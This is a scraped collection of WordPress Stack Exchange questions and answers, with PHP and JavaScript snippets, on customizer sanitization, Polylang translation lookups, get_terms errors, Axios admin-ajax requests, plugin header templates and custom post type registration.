$wp_customize, 'logo',\n array(\n 'label' =&gt; __( 'Logo', 'text-domain' ),\n 'section' =&gt; 'general',\n 'settings' =&gt; 'logo',\n )\n) );\n</code></pre>\n<p>Source:</p>\n<p><a href=\"https://developer.wordpress.org/reference/classes/wp_customize_image_control/#comment-5368\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/classes/wp_customize_image_control/#comment-5368</a></p>\n<p>More fantastic examples:</p>\n<p><a href=\"https://divpusher.com/blog/wordpress-customizer-sanitization-examples/\" rel=\"nofollow noreferrer\">https://divpusher.com/blog/wordpress-customizer-sanitization-examples/</a></p>\n" } ]
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282149", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129203/" ]
My code is like that ``` $wp_customize->add_setting( 'scroll_logo', array( 'default' => '', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'esc_attr', ) ); $wp_customize->add_control( new WP_Customize_Cropped_Image_Control( $wp_customize, 'scroll_logo', array( 'section' => 'title_tagline', 'label' => __( 'Upload Scroll Logo', 'bar-restaurant' ), 'description' => __( 'Logo Size (120 * 60)', 'bar-restaurant' ), 'flex_width' => true, 'flex_height' => true, 'width' => 120, 'height' => 50, 'priority' => 19, 'default-image' => '', ) ) ); ```
It's always a good idea to sanitize values being accepted from the user. A `WP_Customize_Cropped_Image_Control` will populate its associated setting with an attachment ID. Thus you could use `absint` as the sanitizing function. Remember that `esc_attr` is an escaping function and should only be used when printing out a value to the page, and here particularly in an HTML attribute. Note also that `esc_url_raw()` is not an escaping function, despite its name, but rather is actually a sanitizing function.
282,160
<p>I am using Polylang. It is not obvious to me how the relationship between posts are established. I can switch between different language versions of the same post, and I can tell that they're (obviously) different posts in the database. But I can see how Polylang establishes and maintains that relationship. I assumed that there was some meta-value, but that's not the case. Does anyone have any insight? </p> <p>Initially, I'd like to know this, because I need to create a publish flow where translations aren't accidentally published before the "original". </p>
[ { "answer_id": 282185, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 3, "selected": true, "text": "<p>polylang stores translation in a taxinomy but it's better to access them with the polylang object like that : </p>\n\n<pre><code>// test if the plugin polylang is present\nif (isset($GLOBALS[\"polylang\"])) {\n\n $translations = $GLOBALS[\"polylang\"]-&gt;model-&gt;post-&gt;get_translations($post-&gt;ID);\n\n // $translations contains an array with all translations of the post\n\n}\n</code></pre>\n\n<p>all translations are interconnected then there is no parent translation. if you want to find the first created post you can search the lowest ID or sort by publication time.</p>\n" }, { "answer_id": 308603, "author": "Golka", "author_id": 146967, "author_profile": "https://wordpress.stackexchange.com/users/146967", "pm_score": 3, "selected": false, "text": "<p>Thanks to <strong><em>mmm</em></strong>, basing on his answer I found in Polylang API (v.2.3.7) a function <code>pll_get_post_translations( $post_id )</code> that do the same. This function obtains an array with language as key and ID of post as value. A result array looks like this:</p>\n\n<pre><code>Array\n (\n [uk] =&gt; 9\n [de] =&gt; 2\n )\n</code></pre>\n" } ]
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282160", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/3986/" ]
I am using Polylang. It is not obvious to me how the relationship between posts are established. I can switch between different language versions of the same post, and I can tell that they're (obviously) different posts in the database. But I can see how Polylang establishes and maintains that relationship. I assumed that there was some meta-value, but that's not the case. Does anyone have any insight? Initially, I'd like to know this, because I need to create a publish flow where translations aren't accidentally published before the "original".
polylang stores translation in a taxinomy but it's better to access them with the polylang object like that : ``` // test if the plugin polylang is present if (isset($GLOBALS["polylang"])) { $translations = $GLOBALS["polylang"]->model->post->get_translations($post->ID); // $translations contains an array with all translations of the post } ``` all translations are interconnected then there is no parent translation. if you want to find the first created post you can search the lowest ID or sort by publication time.
282,162
<p>I have been developing the shortcodes for which am pulling the terms of custom taxonomies from a plugin. It was working fine prior to WordPress 4.5.0 and now realized it is not working after 4.5.0.</p> <p>I am pulling those terms in an old method like below.</p> <p><strong>Old Method</strong></p> <pre><code>// Sermon Topics $prefix_topic_terms= array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms('ctc_sermon_topic', 'orderby=name&amp;hide_empty=0'); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$prefix_sermon_topic-&gt;slug] = $prefix_sermon_topic-&gt;name; } } </code></pre> <p><strong>New Method that didn't work</strong></p> <pre><code>// Sermon Topics $prefix_topic_terms = array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms( array( 'taxonomy' =&gt; 'ctc_sermon_topic', 'hide_empty' =&gt; false, 'orderby' =&gt; 'name', 'hide_empty' =&gt; true, )); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$category-&gt;slug] = $category-&gt;name; } } var_dump($prefix_topic_terms); </code></pre> <p>Displays Error Invalid Taxonomy error as below</p> <pre><code>object(WP_Error)#2577 (2) { ["errors"]=&gt; array(1) { ["invalid_taxonomy"]=&gt; array(1) { [0]=&gt; string(17) "Invalid taxonomy." } } ["error_data"]=&gt; array(0) { } } </code></pre> <p>What am I doing wrong?</p> <p><strong>Edited</strong> Got success with the following code</p> <pre><code>// Sermon Topics $prefix_topic_terms = array(); $prefix_sermon_topic = get_terms( array( 'taxonomy' =&gt; 'ctc_sermon_topic', 'orderby' =&gt; 'name', 'hide_empty' =&gt; true, )); if ( ! empty( $prefix_topic_terms ) &amp;&amp; ! is_wp_error( $prefix_topic_terms ) ) { foreach($prefix_sermon_topic as $category) { $prefix_topic_terms [$category-&gt;slug] = $category-&gt;name; } } </code></pre> <p>The above code works if i remove the if condition.</p>
[ { "answer_id": 282164, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>OK, wild guess:</p>\n\n<pre><code>$prefix_topic_terms= array();\nif ( ! empty( $iva_topic_terms ) ) {\n</code></pre>\n\n<p>vs</p>\n\n<pre><code>$prefix_topic_terms = array();\nif ( ! empty( $prefix_topic_terms ) ) {\n</code></pre>\n\n<p>You've changed the variable that is checked for emptiness in the new code. That code will never query get_terms for that taxonomy, because <code>$prefix_topic_terms</code> will not be empty.\nThe Error-object you are receiving is probably unrelated from an earlier call to get_terms.</p>\n" }, { "answer_id": 282166, "author": "Maqk", "author_id": 86885, "author_profile": "https://wordpress.stackexchange.com/users/86885", "pm_score": 1, "selected": true, "text": "<p>Got it fixed as I was checking the variables which are empty and defined as an array. Now converted the code into a function. Hope this is helpful for others</p>\n\n<p>Earlier the condition was wrong. Now I am checking whether the passed variable is a WordPress Error with <a href=\"https://codex.wordpress.org/Function_Reference/is_wp_error\" rel=\"nofollow noreferrer\">is_wp_error</a> and checking the taxonomy terms variable is not empty.</p>\n\n<pre><code>function sermon_topic() {\n $prefix_terms = array();\n $prefix_postype_taxonomy = get_terms( array(\n 'taxonomy' =&gt; 'ctc_sermon_topic',\n 'orderby' =&gt; 'name',\n 'hide_empty' =&gt; true,\n ));\n if ( ! empty( $prefix_postype_taxonomy ) &amp;&amp; ! is_wp_error( $prefix_postype_taxonomy ) ) {\n foreach($prefix_postype_taxonomy as $category) {\n $prefix_terms[$category-&gt;slug] = $category-&gt;name;\n }\n }\n return $prefix_terms;\n}\n</code></pre>\n\n<p>Where I want to pull the terms I use function <code>sermon_topic();</code></p>\n" } ]
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282162", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/86885/" ]
I have been developing the shortcodes for which am pulling the terms of custom taxonomies from a plugin. It was working fine prior to WordPress 4.5.0 and now realized it is not working after 4.5.0. I am pulling those terms in an old method like below. **Old Method** ``` // Sermon Topics $prefix_topic_terms= array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms('ctc_sermon_topic', 'orderby=name&hide_empty=0'); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$prefix_sermon_topic->slug] = $prefix_sermon_topic->name; } } ``` **New Method that didn't work** ``` // Sermon Topics $prefix_topic_terms = array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'hide_empty' => false, 'orderby' => 'name', 'hide_empty' => true, )); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$category->slug] = $category->name; } } var_dump($prefix_topic_terms); ``` Displays Error Invalid Taxonomy error as below ``` object(WP_Error)#2577 (2) { ["errors"]=> array(1) { ["invalid_taxonomy"]=> array(1) { [0]=> string(17) "Invalid taxonomy." } } ["error_data"]=> array(0) { } } ``` What am I doing wrong? **Edited** Got success with the following code ``` // Sermon Topics $prefix_topic_terms = array(); $prefix_sermon_topic = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'orderby' => 'name', 'hide_empty' => true, )); if ( ! empty( $prefix_topic_terms ) && ! is_wp_error( $prefix_topic_terms ) ) { foreach($prefix_sermon_topic as $category) { $prefix_topic_terms [$category->slug] = $category->name; } } ``` The above code works if i remove the if condition.
Got it fixed as I was checking the variables which are empty and defined as an array. Now converted the code into a function. Hope this is helpful for others Earlier the condition was wrong. Now I am checking whether the passed variable is a WordPress Error with [is\_wp\_error](https://codex.wordpress.org/Function_Reference/is_wp_error) and checking the taxonomy terms variable is not empty. ``` function sermon_topic() { $prefix_terms = array(); $prefix_postype_taxonomy = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'orderby' => 'name', 'hide_empty' => true, )); if ( ! empty( $prefix_postype_taxonomy ) && ! is_wp_error( $prefix_postype_taxonomy ) ) { foreach($prefix_postype_taxonomy as $category) { $prefix_terms[$category->slug] = $category->name; } } return $prefix_terms; } ``` Where I want to pull the terms I use function `sermon_topic();`
282,163
<p>I have a quick question. Did anyone managed to use Axios inside WordPress to do AJAX requests (wp_ajax with action - calling a function) not REST API and how did you do it?</p> <p>It seems that Axios is sending a JSON and whenever I try the request I get a 0. However, using jQuery AJAX it works fine.</p>
[ { "answer_id": 282557, "author": "Karthik Thayyil", "author_id": 129405, "author_profile": "https://wordpress.stackexchange.com/users/129405", "pm_score": 3, "selected": false, "text": "<p>You need to send your data in application/x-www-form-urlencoded format.</p>\n\n<p>As axios sends json <code>$_REQUEST['action']</code> is not received by wordpress and it returns '0'.</p>\n\n<p>To achieve this you can use either use URLSearchParams API or Qs.</p>\n\n<p>Now suppose your jQuery was something like this</p>\n\n<pre><code>\nvar data = { action: 'get_names', key2:'value2' ...... };\n\njQuery.post('/wp-admin/admin-ajax.php', data )\n.done( function (response) {\n console.log(response);\n})\n.fail( function (error) {\n console.log(error);\n});\n</code></pre>\n\n<p>Then using URLSearchParams your corresponding Axios code will be </p>\n\n<pre><code>\nvar params = new URLSearchParams();\nparams.append('action', 'get_names');\n params.append('key2', 'value2');\n// params.append('key3', 'value3');\naxios.post('/wp-admin/admin-ajax.php', params )\n.then( function (response) {\n console.log(response.data);\n})\n.catch( function (error) {\n console.log(error);\n});\n</code></pre>\n\n<p>OR if your are using <a href=\"https://unpkg.com/qs/dist/qs.js\" rel=\"noreferrer\">Qs.js</a>, You need to enqueue Qs before your script</p>\n\n<pre><code>\nvar data = { action: 'get_names', key2:'value2' ...... }; \n\naxios.post('/wp-admin/admin-ajax.php', Qs.stringify( data ))\n.then( function (response) {\n console.log(data);\n})\n.catch(function (error) {\n console.log(error);\n});\n</code></pre>\n\n<p>This is explained in a bit more detail in the following link.</p>\n\n<p><a href=\"https://kt12.in/blog/wordpress-ajax-call-using-axios-js/\" rel=\"noreferrer\">https://kt12.in/blog/wordpress-ajax-call-using-axios-js/</a></p>\n" }, { "answer_id": 284423, "author": "Arturo Gallegos", "author_id": 130585, "author_profile": "https://wordpress.stackexchange.com/users/130585", "pm_score": 5, "selected": false, "text": "<p>you can use FormData</p>\n\n<p>an example:</p>\n\n<pre><code>let form_data = new FormData;\nform_data.append('action', 'myAction');\nform_data.append('first_name', 'my first name');\nform_data.append('phone', 'my phone');\n\naxios.post(myVars.ajax_url, form_data).then(function(response){\nconsole.log(response.data);\n})\n</code></pre>\n" } ]
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282163", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129209/" ]
I have a quick question. Did anyone managed to use Axios inside WordPress to do AJAX requests (wp\_ajax with action - calling a function) not REST API and how did you do it? It seems that Axios is sending a JSON and whenever I try the request I get a 0. However, using jQuery AJAX it works fine.
you can use FormData an example: ``` let form_data = new FormData; form_data.append('action', 'myAction'); form_data.append('first_name', 'my first name'); form_data.append('phone', 'my phone'); axios.post(myVars.ajax_url, form_data).then(function(response){ console.log(response.data); }) ```
282,171
<p>I have created a plugin that registers a custom post type. I would like to load a custom header and footer for the custom post type from the plugin.</p> <p>After some google research I can see that it's not possible to use get_header() to load and so I have tried using:</p> <pre><code>&lt;?php get_template_part('header', 'trademanager'); ?&gt; </code></pre> <p>Which I can now see is exactly the same as using get_header() and so it obviously fails. The codex has pointed me towards load_template() <a href="https://codex.wordpress.org/Function_Reference/load_template" rel="nofollow noreferrer">https://codex.wordpress.org/Function_Reference/load_template</a></p> <p>I don't really understand how to use it, can someone help me figure this out please?</p> <p>My custom theme file is header-trademanager.php and is located in plugin/templates</p>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/theme directory.</p>\n\n<p>If you put header-trademanager.php in the theme folder, <code>get_header(\"trademanager\")</code> should work.</p>\n\n<p>I had expected to see a filter applied somewhere in get_header or locate_template, but it seems that it's not customizable at this point.</p>\n" }, { "answer_id": 282173, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 0, "selected": false, "text": "<p>There is no filter that can be used to change the location of the header template. You can change the name of the template, but it has to be in the theme or child theme directory. This is unlike all the other theme templates that can be filtered, header and footer templates have to be in theme or child theme folders.</p>\n\n<p>Function load_template() doesn't have filters to change the file path.</p>\n" }, { "answer_id": 282174, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>In general front end should not be handled in a plugin except for widgets and shortcodes. Front end is the sole responsibility of a theme.</p>\n\n<p>You can play with this or that hook and get something that works somtimes, but it is unlikely to work with all themes.</p>\n\n<p>Best bet is to utilize the <code>page.php</code> or <code>single.php</code> templates of the theme. Load it for your post type, and manipulate whatever is possible there. Still this is at best just to be able to have some output, the chances of it to actually look good for more than the few themes you will test it with are slim.</p>\n" }, { "answer_id": 352420, "author": "Пашка", "author_id": 178235, "author_profile": "https://wordpress.stackexchange.com/users/178235", "pm_score": 2, "selected": true, "text": "<p>Old question, but maybe my answer will help someone.</p>\n\n<hr>\n\n<p>Short answer is:</p>\n\n<p>use <code>load_template()</code> function with full file server path as first argument passed to it.</p>\n\n<hr>\n\n<p>Long answer:</p>\n\n<p><code>get_header()</code> using the function <code>locate_template()</code> which uses the function <code>load_template()</code> which uses the function <code>require_once()</code>. Thus, to load the header layout from a plugin or any other directory, you can directly use <code>require_once()</code> and this will be completely correct if global variables like <code>$post</code> and <code>$wp_query</code> are <strong>not</strong> needed, otherwise case, use the <code>load_template()</code> function passing the full server path to the file as the first argument.</p>\n\n<hr>\n\n<p>P.S.</p>\n\n<p>For more certainty, you can look at the files <code>wp-includes/general-template.php</code> and <code>wp-includes/template.php</code>, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple.\nThe only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours.</p>\n\n<p>But in this case, when you need to require your own <code>header</code> file - this may be a justifiable solution.</p>\n" }, { "answer_id": 364913, "author": "Jamie Edwards", "author_id": 151663, "author_profile": "https://wordpress.stackexchange.com/users/151663", "pm_score": 0, "selected": false, "text": "<p>Because the standard get_header and get_footer won't work inside a plugin, you could consider simply replacing get_header() and get_footer with PHP's include statement, for instance: </p>\n\n<pre><code>include 'header-trademanager.php';\n</code></pre>\n" }, { "answer_id": 407804, "author": "Nayeem Farid", "author_id": 212897, "author_profile": "https://wordpress.stackexchange.com/users/212897", "pm_score": 0, "selected": false, "text": "<pre><code>add_action('get_header', 'replace_header');\n\nfunction replace_header(){\n require PLUGIN_DIR.'includes/templates/header.php';\n\n $templates = [];\n $templates[] = 'header.php';\n remove_all_actions( 'wp_head' );\n ob_start();\n locate_template( $templates, true );\n ob_get_clean();\n}\n</code></pre>\n" } ]
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282171", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
I have created a plugin that registers a custom post type. I would like to load a custom header and footer for the custom post type from the plugin. After some google research I can see that it's not possible to use get\_header() to load and so I have tried using: ``` <?php get_template_part('header', 'trademanager'); ?> ``` Which I can now see is exactly the same as using get\_header() and so it obviously fails. The codex has pointed me towards load\_template() <https://codex.wordpress.org/Function_Reference/load_template> I don't really understand how to use it, can someone help me figure this out please? My custom theme file is header-trademanager.php and is located in plugin/templates
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,214
<p>I have different content on static pages and post in my WP site. On pages is not desirable to view meta in search result, but in my post is important. Meta, I mean information about author, and date in search result.</p> <p>I have created custom post-search.php. But i dont know, how to show meta information only for post in result. No for showing meta i using this part of code:</p> <pre><code> &lt;div class="postmeta-primary"&gt; &lt;span class="meta_date"&gt;&lt;?php the_time($theme-&gt;get_option('dateformat')); ?&gt;&lt;/span&gt; &amp;nbsp; &lt;span class="meta_author"&gt;&lt;?php the_author(); ?&gt;&lt;/span&gt; &lt;?php if(comments_open( get_the_ID() )) { ?&gt; &amp;nbsp; &lt;span class="meta_comments"&gt;&lt;?php comments_popup_link( __( 'No comments', 'themater' ), __( '1 Comment', 'themater' ), __( '% Comments', 'themater' ) ); ?&gt;&lt;/span&gt;&lt;?php }?&gt; &lt;/div&gt; </code></pre> <p>I just thinking about some kind of "IF". For example If its_post then execute code (which I post above)</p> <p>Thanks for your answers</p>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/theme directory.</p>\n\n<p>If you put header-trademanager.php in the theme folder, <code>get_header(\"trademanager\")</code> should work.</p>\n\n<p>I had expected to see a filter applied somewhere in get_header or locate_template, but it seems that it's not customizable at this point.</p>\n" }, { "answer_id": 282173, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 0, "selected": false, "text": "<p>There is no filter that can be used to change the location of the header template. You can change the name of the template, but it has to be in the theme or child theme directory. This is unlike all the other theme templates that can be filtered, header and footer templates have to be in theme or child theme folders.</p>\n\n<p>Function load_template() doesn't have filters to change the file path.</p>\n" }, { "answer_id": 282174, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>In general front end should not be handled in a plugin except for widgets and shortcodes. Front end is the sole responsibility of a theme.</p>\n\n<p>You can play with this or that hook and get something that works somtimes, but it is unlikely to work with all themes.</p>\n\n<p>Best bet is to utilize the <code>page.php</code> or <code>single.php</code> templates of the theme. Load it for your post type, and manipulate whatever is possible there. Still this is at best just to be able to have some output, the chances of it to actually look good for more than the few themes you will test it with are slim.</p>\n" }, { "answer_id": 352420, "author": "Пашка", "author_id": 178235, "author_profile": "https://wordpress.stackexchange.com/users/178235", "pm_score": 2, "selected": true, "text": "<p>Old question, but maybe my answer will help someone.</p>\n\n<hr>\n\n<p>Short answer is:</p>\n\n<p>use <code>load_template()</code> function with full file server path as first argument passed to it.</p>\n\n<hr>\n\n<p>Long answer:</p>\n\n<p><code>get_header()</code> using the function <code>locate_template()</code> which uses the function <code>load_template()</code> which uses the function <code>require_once()</code>. Thus, to load the header layout from a plugin or any other directory, you can directly use <code>require_once()</code> and this will be completely correct if global variables like <code>$post</code> and <code>$wp_query</code> are <strong>not</strong> needed, otherwise case, use the <code>load_template()</code> function passing the full server path to the file as the first argument.</p>\n\n<hr>\n\n<p>P.S.</p>\n\n<p>For more certainty, you can look at the files <code>wp-includes/general-template.php</code> and <code>wp-includes/template.php</code>, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple.\nThe only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours.</p>\n\n<p>But in this case, when you need to require your own <code>header</code> file - this may be a justifiable solution.</p>\n" }, { "answer_id": 364913, "author": "Jamie Edwards", "author_id": 151663, "author_profile": "https://wordpress.stackexchange.com/users/151663", "pm_score": 0, "selected": false, "text": "<p>Because the standard get_header and get_footer won't work inside a plugin, you could consider simply replacing get_header() and get_footer with PHP's include statement, for instance: </p>\n\n<pre><code>include 'header-trademanager.php';\n</code></pre>\n" }, { "answer_id": 407804, "author": "Nayeem Farid", "author_id": 212897, "author_profile": "https://wordpress.stackexchange.com/users/212897", "pm_score": 0, "selected": false, "text": "<pre><code>add_action('get_header', 'replace_header');\n\nfunction replace_header(){\n require PLUGIN_DIR.'includes/templates/header.php';\n\n $templates = [];\n $templates[] = 'header.php';\n remove_all_actions( 'wp_head' );\n ob_start();\n locate_template( $templates, true );\n ob_get_clean();\n}\n</code></pre>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282214", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129235/" ]
I have different content on static pages and post in my WP site. On pages is not desirable to view meta in search result, but in my post is important. Meta, I mean information about author, and date in search result. I have created custom post-search.php. But i dont know, how to show meta information only for post in result. No for showing meta i using this part of code: ``` <div class="postmeta-primary"> <span class="meta_date"><?php the_time($theme->get_option('dateformat')); ?></span> &nbsp; <span class="meta_author"><?php the_author(); ?></span> <?php if(comments_open( get_the_ID() )) { ?> &nbsp; <span class="meta_comments"><?php comments_popup_link( __( 'No comments', 'themater' ), __( '1 Comment', 'themater' ), __( '% Comments', 'themater' ) ); ?></span><?php }?> </div> ``` I just thinking about some kind of "IF". For example If its\_post then execute code (which I post above) Thanks for your answers
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,220
<p>by default I use the <code>author.php</code> template and it's working fine but I need to make a parent page for <code>author.php</code> like facebook and other social sites.</p> <p>I want to do something like this:</p> <pre><code>site.com/author/trello/settings site.com/author/trello/personalinformation </code></pre>
[ { "answer_id": 282172, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>I don't believe you can change the loaded file for get_header/get_footer to something outside the stylesheet/theme directory.</p>\n\n<p>If you put header-trademanager.php in the theme folder, <code>get_header(\"trademanager\")</code> should work.</p>\n\n<p>I had expected to see a filter applied somewhere in get_header or locate_template, but it seems that it's not customizable at this point.</p>\n" }, { "answer_id": 282173, "author": "Milan Petrovic", "author_id": 126702, "author_profile": "https://wordpress.stackexchange.com/users/126702", "pm_score": 0, "selected": false, "text": "<p>There is no filter that can be used to change the location of the header template. You can change the name of the template, but it has to be in the theme or child theme directory. This is unlike all the other theme templates that can be filtered, header and footer templates have to be in theme or child theme folders.</p>\n\n<p>Function load_template() doesn't have filters to change the file path.</p>\n" }, { "answer_id": 282174, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 0, "selected": false, "text": "<p>In general front end should not be handled in a plugin except for widgets and shortcodes. Front end is the sole responsibility of a theme.</p>\n\n<p>You can play with this or that hook and get something that works somtimes, but it is unlikely to work with all themes.</p>\n\n<p>Best bet is to utilize the <code>page.php</code> or <code>single.php</code> templates of the theme. Load it for your post type, and manipulate whatever is possible there. Still this is at best just to be able to have some output, the chances of it to actually look good for more than the few themes you will test it with are slim.</p>\n" }, { "answer_id": 352420, "author": "Пашка", "author_id": 178235, "author_profile": "https://wordpress.stackexchange.com/users/178235", "pm_score": 2, "selected": true, "text": "<p>Old question, but maybe my answer will help someone.</p>\n\n<hr>\n\n<p>Short answer is:</p>\n\n<p>use <code>load_template()</code> function with full file server path as first argument passed to it.</p>\n\n<hr>\n\n<p>Long answer:</p>\n\n<p><code>get_header()</code> using the function <code>locate_template()</code> which uses the function <code>load_template()</code> which uses the function <code>require_once()</code>. Thus, to load the header layout from a plugin or any other directory, you can directly use <code>require_once()</code> and this will be completely correct if global variables like <code>$post</code> and <code>$wp_query</code> are <strong>not</strong> needed, otherwise case, use the <code>load_template()</code> function passing the full server path to the file as the first argument.</p>\n\n<hr>\n\n<p>P.S.</p>\n\n<p>For more certainty, you can look at the files <code>wp-includes/general-template.php</code> and <code>wp-includes/template.php</code>, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple.\nThe only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours.</p>\n\n<p>But in this case, when you need to require your own <code>header</code> file - this may be a justifiable solution.</p>\n" }, { "answer_id": 364913, "author": "Jamie Edwards", "author_id": 151663, "author_profile": "https://wordpress.stackexchange.com/users/151663", "pm_score": 0, "selected": false, "text": "<p>Because the standard get_header and get_footer won't work inside a plugin, you could consider simply replacing get_header() and get_footer with PHP's include statement, for instance: </p>\n\n<pre><code>include 'header-trademanager.php';\n</code></pre>\n" }, { "answer_id": 407804, "author": "Nayeem Farid", "author_id": 212897, "author_profile": "https://wordpress.stackexchange.com/users/212897", "pm_score": 0, "selected": false, "text": "<pre><code>add_action('get_header', 'replace_header');\n\nfunction replace_header(){\n require PLUGIN_DIR.'includes/templates/header.php';\n\n $templates = [];\n $templates[] = 'header.php';\n remove_all_actions( 'wp_head' );\n ob_start();\n locate_template( $templates, true );\n ob_get_clean();\n}\n</code></pre>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282220", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125375/" ]
by default I use the `author.php` template and it's working fine but I need to make a parent page for `author.php` like facebook and other social sites. I want to do something like this: ``` site.com/author/trello/settings site.com/author/trello/personalinformation ```
Old question, but maybe my answer will help someone. --- Short answer is: use `load_template()` function with full file server path as first argument passed to it. --- Long answer: `get_header()` using the function `locate_template()` which uses the function `load_template()` which uses the function `require_once()`. Thus, to load the header layout from a plugin or any other directory, you can directly use `require_once()` and this will be completely correct if global variables like `$post` and `$wp_query` are **not** needed, otherwise case, use the `load_template()` function passing the full server path to the file as the first argument. --- P.S. For more certainty, you can look at the files `wp-includes/general-template.php` and `wp-includes/template.php`, which contain all these functions. And you will see that there is no complicated logic in them, everything is very simple. The only reason it’s better to use standard features is support. Support for the development of WP code lies on the shoulders of the team of developers, and your own functions are on yours. But in this case, when you need to require your own `header` file - this may be a justifiable solution.
282,253
<p>I have a custom post type registered: 'jobs'</p> <pre><code>// set up labels $labels = array( 'name' =&gt; 'Jobs', 'singular_name' =&gt; 'Job', 'add_new' =&gt; 'Add New Job', 'add_new_item' =&gt; 'Add New Job', 'edit_item' =&gt; 'Edit Job', 'new_item' =&gt; 'New Job', 'all_items' =&gt; 'All Jobs', 'view_item' =&gt; 'View Job', 'search_items' =&gt; 'Search Jobs', 'not_found' =&gt; 'No Jobs Found', 'not_found_in_trash' =&gt; 'No Jobs found in Trash', 'menu_name' =&gt; 'Jobs', ); //register post type register_post_type( 'jobs', array( 'labels' =&gt; $labels, 'has_archive' =&gt; 'jobs', 'public' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'excerpt', 'thumbnail', 'page-attributes' ), 'exclude_from_search' =&gt; false, 'capability_type' =&gt; 'post', 'query_var' =&gt; true, 'menu_icon' =&gt; 'dashicons-book-alt', 'rewrite' =&gt; array( 'slug' =&gt; 'jobs/%job_status%', 'with_front' =&gt; false ), ) ); </code></pre> <p>And a custom Taxonomy: 'status'</p> <pre><code>$labels = array( 'name' =&gt; _x( 'Status', 'taxonomy general name', 'trademanager' ), 'singular_name' =&gt; _x( 'Status', 'taxonomy singular name', 'trademanager' ), 'search_items' =&gt; __( 'Search Statuses', 'trademanager' ), 'all_items' =&gt; __( 'All Statuses', 'trademanager' ), 'parent_item' =&gt; __( 'Parent Status', 'trademanager' ), 'parent_item_colon' =&gt; __( 'Parent Status:', 'trademanager' ), 'edit_item' =&gt; __( 'Edit Status', 'trademanager' ), 'update_item' =&gt; __( 'Update Status', 'trademanager' ), 'add_new_item' =&gt; __( 'Add New Status', 'trademanager' ), 'new_item_name' 